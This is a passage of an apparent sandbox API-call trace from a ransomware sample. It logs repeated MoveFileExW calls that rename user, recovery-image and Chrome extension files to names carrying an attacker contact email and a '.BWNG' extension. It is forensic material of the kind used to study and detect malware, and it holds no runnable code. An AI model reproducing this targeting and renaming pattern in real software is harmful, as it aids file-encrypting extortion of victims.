(lpExistingFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\[billwong73@yahoo.com].xsflMCwB-ditHKznw.BWNG" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\[billwong73@yahoo.com].xsflmcwb-dithkznw.bwng"), dwFlags=0x1) returned 1 [0136.382] GetTickCount () returned 0x116985a [0136.382] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27833442706) returned 1 [0136.383] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\[billwong73@yahoo.com].Ybz6Rs9b-dpqjTigL.BWNG" (normalized: "c:\\users\\default\\favorites\\msn websites\\[billwong73@yahoo.com].ybz6rs9b-dpqjtigl.bwng"), dwFlags=0x1) returned 1 [0136.384] GetTickCount () returned 0x116985a [0136.384] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27833622326) returned 1 [0136.384] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\ntuser.ini" (normalized: "c:\\users\\default\\ntuser.ini"), lpNewFileName="C:\\Users\\Default\\[billwong73@yahoo.com].tlTrA5TV-yk7wTRDT.BWNG" (normalized: "c:\\users\\default\\[billwong73@yahoo.com].tltra5tv-yk7wtrdt.bwng"), dwFlags=0x1) returned 1 [0136.386] GetTickCount () returned 0x116985a [0136.386] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27833785250) returned 1 [0136.386] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\[billwong73@yahoo.com].lBgAA6ML-wLDMOUUM.BWNG" (normalized: "c:\\users\\public\\[billwong73@yahoo.com].lbgaa6ml-wldmouum.bwng"), dwFlags=0x1) returned 1 [0136.387] GetTickCount () returned 0x116985a [0136.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27833960513) returned 1 [0136.388] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), lpNewFileName="C:\\Users\\Public\\Pictures\\[billwong73@yahoo.com].ns4JfETW-xndo1Lqw.BWNG" (normalized: "c:\\users\\public\\pictures\\[billwong73@yahoo.com].ns4jfetw-xndo1lqw.bwng"), dwFlags=0x1) returned 1 [0136.389] GetTickCount () returned 0x116985a [0136.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27834136666) returned 1 [0136.389] MoveFileExW (lpExistingFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), lpNewFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\[billwong73@yahoo.com].kBNe0QqE-Z7tVDv7q.BWNG" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\[billwong73@yahoo.com].kbne0qqe-z7tvdv7q.bwng"), dwFlags=0x1) returned 1 [0136.391] GetTickCount () returned 0x1169869 [0136.391] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27834352170) returned 1 [0136.392] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].fhmwo52d-s9MPDNaa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\[billwong73@yahoo.com].fhmwo52d-s9mpdnaa.bwng"), dwFlags=0x1) returned 1 [0136.393] GetTickCount () returned 0x1169869 [0136.393] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27834562324) returned 1 [0136.394] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\[billwong73@yahoo.com].OtsmAhtF-zOQRJJkT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\[billwong73@yahoo.com].otsmahtf-zoqrjjkt.bwng"), dwFlags=0x1) returned 1 [0136.395] GetTickCount () returned 0x1169869 [0136.395] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27834754194) returned 1 [0136.396] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\current"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\[billwong73@yahoo.com].lJ3guple-1fC8009a.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\[billwong73@yahoo.com].lj3guple-1fc8009a.bwng"), dwFlags=0x1) returned 1 [0136.398] GetTickCount () returned 0x1169869 [0136.398] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27834983835) returned 1 [0136.398] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\[billwong73@yahoo.com].DgOAoESZ-57bAqABd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\[billwong73@yahoo.com].dgoaoesz-57baqabd.bwng"), dwFlags=0x1) returned 1 [0136.400] GetTickCount () returned 0x1169869 [0136.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27835189035) returned 1 [0136.400] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\[billwong73@yahoo.com].BT467gHY-NpWm3YtI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\[billwong73@yahoo.com].bt467ghy-npwm3yti.bwng"), dwFlags=0x1) returned 1 [0136.402] GetTickCount () returned 0x1169869 [0136.402] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27835396155) returned 1 [0136.402] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\[billwong73@yahoo.com].lz3QB2L2-wFoL4ttr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\hi\\[billwong73@yahoo.com].lz3qb2l2-wfol4ttr.bwng"), dwFlags=0x1) returned 1 [0136.404] GetTickCount () returned 0x1169869 [0136.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27835580249) returned 1 [0136.404] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\[billwong73@yahoo.com].VpraAYvA-w8FfXlI5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\[billwong73@yahoo.com].vpraayva-w8ffxli5.bwng"), dwFlags=0x1) returned 1 [0136.405] GetTickCount () returned 0x1169869 [0136.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27836003426) returned 1 [0136.531] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\[billwong73@yahoo.com].7J2tbE3Q-NZp96xIA.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\[billwong73@yahoo.com].7j2tbe3q-nzp96xia.bwng"), dwFlags=0x1) returned 1 [0136.534] GetTickCount () returned 0x11698f6 [0136.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27848655572) returned 1 [0136.535] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\[billwong73@yahoo.com].zmTXRr7o-9VtamPB0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\[billwong73@yahoo.com].zmtxrr7o-9vtampb0.bwng"), dwFlags=0x1) returned 1 [0136.537] GetTickCount () returned 0x11698f6 [0136.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27849023585) returned 1 [0136.539] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\[billwong73@yahoo.com].RZsrSqAC-QIV2DFaE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_gb\\[billwong73@yahoo.com].rzsrsqac-qiv2dfae.bwng"), dwFlags=0x1) returned 1 [0136.541] GetTickCount () returned 0x11698f6 [0136.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27849289995) returned 1 [0136.541] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\[billwong73@yahoo.com].XEhwP4IK-BKRAc0rY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\[billwong73@yahoo.com].xehwp4ik-bkrac0ry.bwng"), dwFlags=0x1) returned 1 [0136.542] GetTickCount () returned 0x11698f6 [0136.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27849475264) returned 1 [0136.543] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\[billwong73@yahoo.com].7KwipwcH-sJiqPnpy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\pl\\[billwong73@yahoo.com].7kwipwch-sjiqpnpy.bwng"), dwFlags=0x1) returned 1 [0136.544] GetTickCount () returned 0x11698f6 [0136.544] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27849645839) returned 1 [0136.545] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\[billwong73@yahoo.com].xDEsFeQc-FU6tB4sq.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\[billwong73@yahoo.com].xdesfeqc-fu6tb4sq.bwng"), dwFlags=0x1) returned 1 [0136.546] GetTickCount () returned 0x11698f6 [0136.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27849846065) returned 1 [0136.547] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\[billwong73@yahoo.com].0oFB1y20-XX058hSL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\[billwong73@yahoo.com].0ofb1y20-xx058hsl.bwng"), dwFlags=0x1) returned 1 [0136.548] GetTickCount () returned 0x1169905 [0136.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27850062247) returned 1 [0136.549] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\[billwong73@yahoo.com].L3ZZeNrJ-5uH4waUX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\[billwong73@yahoo.com].l3zzenrj-5uh4waux.bwng"), dwFlags=0x1) returned 1 [0136.550] GetTickCount () returned 0x1169905 [0136.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27850242590) returned 1 [0136.550] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\[billwong73@yahoo.com].Gij68JJQ-oJhMfeE3.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\[billwong73@yahoo.com].gij68jjq-ojhmfee3.bwng"), dwFlags=0x1) returned 1 [0136.552] GetTickCount () returned 0x1169905 [0136.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27850429664) returned 1 [0136.552] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\[billwong73@yahoo.com].yvfNIPtM-cLy8GiAT.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_pt\\[billwong73@yahoo.com].yvfniptm-cly8giat.bwng"), dwFlags=0x1) returned 1 [0136.554] GetTickCount () returned 0x1169905 [0136.554] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27850606928) returned 1 [0136.554] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\[billwong73@yahoo.com].idi6egvn-6TkU8XAL.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\[billwong73@yahoo.com].idi6egvn-6tku8xal.bwng"), dwFlags=0x1) returned 1 [0136.556] GetTickCount () returned 0x1169905 [0136.556] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27850777151) returned 1 [0136.556] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\[billwong73@yahoo.com].0c6OsoIp-D4MnJovI.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\da\\[billwong73@yahoo.com].0c6osoip-d4mnjovi.bwng"), dwFlags=0x1) returned 1 [0136.558] GetTickCount () returned 0x1169905 [0136.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27850981254) returned 1 [0136.558] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\[billwong73@yahoo.com].eMNcNhco-NIUEeqjE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\hr\\[billwong73@yahoo.com].emncnhco-niueeqje.bwng"), dwFlags=0x1) returned 1 [0136.560] GetTickCount () returned 0x1169905 [0136.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27851184756) returned 1 [0136.560] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\[billwong73@yahoo.com].gyfY2Okb-VLSatCFy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\pl\\[billwong73@yahoo.com].gyfy2okb-vlsatcfy.bwng"), dwFlags=0x1) returned 1 [0136.561] GetTickCount () returned 0x1169905 [0136.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27851372506) returned 1 [0136.562] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\tr\\[billwong73@yahoo.com].LPgiVRRa-FKLizkNz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js 